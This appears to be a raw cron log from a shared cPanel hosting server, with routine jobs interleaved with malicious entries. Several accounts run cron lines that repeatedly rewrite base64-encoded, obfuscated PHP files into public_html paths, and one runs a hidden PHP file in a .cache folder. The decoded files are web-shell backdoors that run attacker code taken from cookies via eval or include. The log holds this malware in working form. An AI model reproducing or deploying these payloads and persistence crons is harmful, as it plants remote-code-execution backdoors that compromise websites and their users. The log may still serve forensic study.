oJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:11:01 medusa CROND[19778]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:11:01 medusa CROND[19779]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:11:01 medusa CROND[19780]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:11:01 medusa CROND[19783]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:11:01 medusa CROND[19787]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:11:01 medusa CROND[19789]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:11:01 medusa CROND[19791]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:11:01 medusa CROND[19793]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:11:01 medusa CROND[19795]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:12:01 medusa CROND[26051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:12:01 medusa CROND[26056]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:12:01 medusa CROND[26055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:12:01 medusa CROND[26057]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:12:01 medusa CROND[26058]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:12:01 medusa CROND[26059]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:12:01 medusa CROND[26062]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:12:01 medusa CROND[26066]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:12:01 medusa CROND[26067]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:12:01 medusa CROND[26065]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:12:01 medusa CROND[26068]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:12:01 medusa CROND[26069]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:12:01 medusa CROND[26063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:12:01 medusa CROND[26082]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:13:01 medusa CROND[24106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:13:02 medusa CROND[24177]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:13:02 medusa CROND[24178]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:13:02 medusa CROND[24179]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:13:02 medusa CROND[24181]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:13:02 medusa CROND[24182]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:13:02 medusa CROND[24188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:13:02 medusa CROND[24190]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
